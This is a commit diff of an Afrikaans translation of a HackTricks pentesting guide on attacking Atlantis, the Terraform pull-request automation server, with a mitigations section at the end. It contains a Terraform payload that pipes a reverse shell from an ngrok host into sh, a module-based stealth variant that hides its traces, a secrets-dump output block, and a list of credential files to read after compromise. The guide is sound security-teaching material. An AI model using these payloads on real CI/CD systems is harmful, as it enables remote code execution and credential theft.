Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:25:21 +00:00
parent 8fb73b8cf9
commit 154465e69f
229 changed files with 2745 additions and 2828 deletions

View File

@@ -2,72 +2,72 @@
{{#include ../banners/hacktricks-training.md}}
### Basic Information
### Basiese Inligting
Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.
![](<../images/image (161).png>)
### Local Lab
### Plaaslike Laboratorium
1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is.
2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker.
3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om met **atlantis** te **praat**.
3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om **met atlantis te kommunikeer**.
1. Jy kan die webblad in 127.0.0.1:4141 toegang.
### Atlantis Access
### Atlantis Toegang
#### Git Server Credentials
#### Git Bediener Kredensiale
**Atlantis** ondersteun verskeie git gasheer soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **privileged access granted to them** (ten minste skryf regte).\
[**Die docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
**Atlantis** ondersteun verskeie git gashere soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **bevoorregte toegang gegee word** (ten minste skryf regte).\
[**Die dokumentasie**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
> [!WARNING]
> In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees.
#### Webhooks
Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gasheer ontvang **legitiem** is.
Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gashere ontvang **legitiem** is.
Een manier om dit te bevestig, sou wees om **toestemming te gee dat versoeke slegs van die IP's** van jou Git gasheer kom, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
Een manier om dit te bevestig, sou wees om **slegs versoeke van die IP's** van jou Git gashere toe te laat, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhook eindpunte aan die internet moet blootstel.
Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhooks eindpunte aan die internet moet blootstel.
> [!WARNING]
> Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
#### Verskaffer Kredensiale <a href="#provider-credentials" id="provider-credentials"></a>
[Van die docs:](https://www.runatlantis.io/docs/provider-credentials.html)
[Van die dokumentasie:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehoste is** uit te voer. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis credentials vir jou spesifieke verskaffer.
Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehost word**. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis kredensiale vir jou spesifieke verskaffer.
Dit is aan jou hoe jy [credentials verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
Dit is aan jou hoe jy [kredensiale verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer credentials. Lees hul docs.
- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer kredensiale. Lees hul dokumentasie.
- As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop.
- Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop.
- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer credentials te verkry.
- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer kredensiale te verkry.
> [!WARNING]
> Die **container** waar **Atlantis** **loop**, gaan hoogs waarskynlik **privileged credentials** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
> Die **houer** waar **Atlantis** **loop** gaan hoogs waarskynlik **bevoorregte kredensiale** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
#### Web Page
#### Webblad
Standaard sal Atlantis 'n **webblad in die poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis apply in te skakel/af te skakel en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te wysig nie, so dit is nie so nuttig nie).
Standaard sal Atlantis 'n **webblad op poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis toep te laat of nie en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te verander nie, so dit is nie so nuttig nie).
Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk asof standaard **geen credentials benodig** word om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk of standaard **geen kredensiale benodig word** om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
### Server Configuration
### Bediener Konfigurasie
Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.
- Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind.
- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
Waardes word **in hierdie volgorde gekies**:
@@ -78,34 +78,34 @@ Waardes word **in hierdie volgorde gekies**:
> [!WARNING]
> Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind.
#### Repos Configuration
#### Repos Konfigurasie
Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo te spesifiseer. Dit is die prioriteitsorde:
Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo spesifiek te spesifiseer. Dit is die prioriteitsorde:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
1. Waarskynlik vereis om toegelaat te word deur vlae soos `allowed_overrides` of `allow_custom_workflows`.
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
1. Waarskynlik vereis om deur vlae soos `allowed_overrides` of `allow_custom_workflows` toegelaat te word.
2. [**Bediener Kante Konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
3. **Standaard** waardes.
**PR Protections**
**PR Beskerming**
Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergeable`** wees (tak beskermings geslaag) **voor die uitvoering van apply**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergable`** wees (tak beskermings geslaag) **voor die toep van toepassing is**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
In die geval dat `allowed_overrides` waar is, kan hierdie instellings **oor geskryf word op elke projek deur die `/atlantis.yml` lêer**.
In die geval dat `allowed_overrides` waar is, kan hierdie instelling **op elke projek oorgeskryf word deur die `/atlantis.yml` lêer**.
**Scripts**
**Skripte**
Die repo konfigurasie kan **scripts spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
Die repo konfigurasie kan **skripte spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
Daar is geen opsie om **te spesifiseer** hierdie scripts in die **repo `/atlantis.yml`** lêer nie.
Daar is geen opsie om **hierdie skripte in die **repo `/atlantis.yml`** lêer te spesifiseer nie.
**Workflow**
In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe persoonlike workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe pasgemaakte workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.**
> [!CAUTION]
> As die [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oor te skryf**.\
> As die [**bediener kant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oorgeskryf**.\
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
@@ -124,20 +124,20 @@ Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow t
> steps: - run: my custom apply command
> ```
**Conftest Policy Checking**
**Conftest Beleid Kontrole**
Atlantis ondersteun die uitvoering van **server-side** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir die gebruik van hierdie stap sluit in:
Atlantis ondersteun die uitvoering van **bediener-kant** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir hierdie stap sluit in:
- Ontkenning van die gebruik van 'n lys van modules.
- Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
- Vang onbedoelde hulpbron verwyderings.
- Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).
Jy kan kyk hoe om dit te konfigureer in [**die docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
Jy kan kyk hoe om dit te konfigureer in [**die dokumentasie**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
### Atlantis Opdragte
[**In die docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
[**In die dokumentasie**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
```bash
# Get help
atlantis help
@@ -165,7 +165,7 @@ atlantis apply [options] -- [terraform apply flags]
> [!WARNING]
> As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock`
Jy kan dit regmaak deur te loop:
Jy kan dit regmaak deur te hardloop:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
@@ -174,7 +174,7 @@ atlantis plan -- -lock=false
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf`-lêer:
Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf` lêer:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -182,28 +182,28 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Stealthier Aanval**
You can perform this attack even in a **stealthier way**, by following this suggestions:
Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- In plaas daarvan om die rev shell direk in die terraform-lêer te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell code in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **In plaas daarvan** om 'n **PR na master** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **In plaas daarvan** om 'n **PR na meester** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
#### Atlantis plan Secrets Dump
#### Atlantis plan Geheimen Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
U kan **geheimen wat deur terraform gebruik word** dump deur `atlantis plan` (`terraform plan`) te loop deur iets soos dit in die terraform-lêer te plaas:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - Konfigurasie wysiging in nuwe PR
#### Atlantis toepas RCE - Konfigurasie wysiging in nuwe PR
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
@@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
Iets wat jy kan deurgee, is omgewingsveranderlikes wat dalk nuttig kan wees om sekere beskermings te omseil. Kyk na terraform omgewingsveranderlikes in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Custom Workflow
#### Pasgemaakte Werkvloei
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
Die uitvoering van **kwaadwillige pasgemaakte bouopdragte** wat in 'n `atlantis.yaml`-lêer gespesifiseer is. Atlantis gebruik die `atlantis.yaml`-lêer van die pull request tak, **nie** van `master`.\
Hierdie moontlikheid is in 'n vorige afdeling genoem:
> [!CAUTION]
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **gespesifiseer** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **oorheers die werkvloei** that is going to be used.
> As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan werkvloei **gespesifiseer** word in die **`atlantis.yaml`**-lêer van elke repo. Dit is ook moontlik nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die **werkvloei** wat gebruik gaan word, te **oorheers**.
>
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
>
> ```yaml
> # atlantis.yaml
@@ -272,9 +272,9 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
#### Bypass plan/apply protections
#### Omseil plan/apply beskermings
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _het_ `apply_requirements` configured, it's possible for a repo to **wysig die plan/apply beskerming om dit te omseil**.
As die [**bedienerkant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allowed_overrides` _gekonfigureer_ is met `apply_requirements`, is dit moontlik vir 'n repo om die **plan/apply beskermings te wysig om dit te omseil**.
```yaml
repos:
- id: /.*/
@@ -292,11 +292,11 @@ Dit is die **instelling** in Github branch protections:
#### Webhook Secret
As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis opdragte** direk aanroep.
As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis commando's** direk aanroep.
#### Bitbucket
Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **versoekte van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **aanvraag van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
- Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom.
- As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
@@ -304,24 +304,24 @@ Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toela
### Post-Exploitation
As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste jy het 'n LFI, is daar 'n paar interessante dinge wat jy moet probeer lees:
As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste 'n LFI daar het, is daar 'n paar interessante dinge wat jy moet probeer lees:
- `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer
- `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform staat lêer
- Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Omgewings veranderlikes
- `/proc/1/environ` Omgewing veranderlikes
- `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat)
### Mitigations
#### Moet nie op Publieke Repos Gebruik nie <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Omdat enigiemand kommentaar op publieke pull requests kan lewer, selfs met al die sekuriteitsmitigaties beskikbaar, is dit steeds gevaarlik om Atlantis op publieke repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
Omdat enige iemand op openbare pull requests kan kommentaar lewer, selfs met al die sekuriteitsmitigasies beskikbaar, is dit steeds gevaarlik om Atlantis op openbare repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
#### Moet nie `--allow-fork-prs` Gebruik nie <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
As jy op 'n publieke repo (wat nie aanbeveel word nie, kyk bo) loop, moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enigiemand 'n pull request van hul fork na jou repo kan oopmaak.
As jy op 'n openbare repo loop (wat nie aanbeveel word nie, kyk bo), moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enige iemand 'n pull request van hul fork na jou repo kan oopmaak.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
@@ -334,23 +334,23 @@ Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit web
Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede.
#### Beskerm Terraform Beplanning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.
Om dit te voorkom, kan jy:
1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
2. Die verskaffer registrasie protokol intern implementeer en publieke egress ontken, sodat jy beheer wie skrywe toegang tot die registrasie het.
3. Jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap wysig om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
2. Implementeer die verskaffer registrasie protokol intern en ontken openbare egress, sodat jy beheer wie skrywe toegang tot die registrasie het.
3. Wysig jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie-toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewingsveranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewing veranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.
#### Azure DevOps Basiese Verifikasie <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.
@@ -358,11 +358,11 @@ Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook
As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag.
#### Aktiveer Verifikasie op Atlantis Webbediener <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
Dit word baie aanbeveel om verifikasie in die webdiens te aktiveer. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
Dit word baie aanbeveel om verifikasie in die webdiens in te skakel. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
Jy kan ook hierdie as omgewingsveranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
Jy kan ook hierdie as omgewing veranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References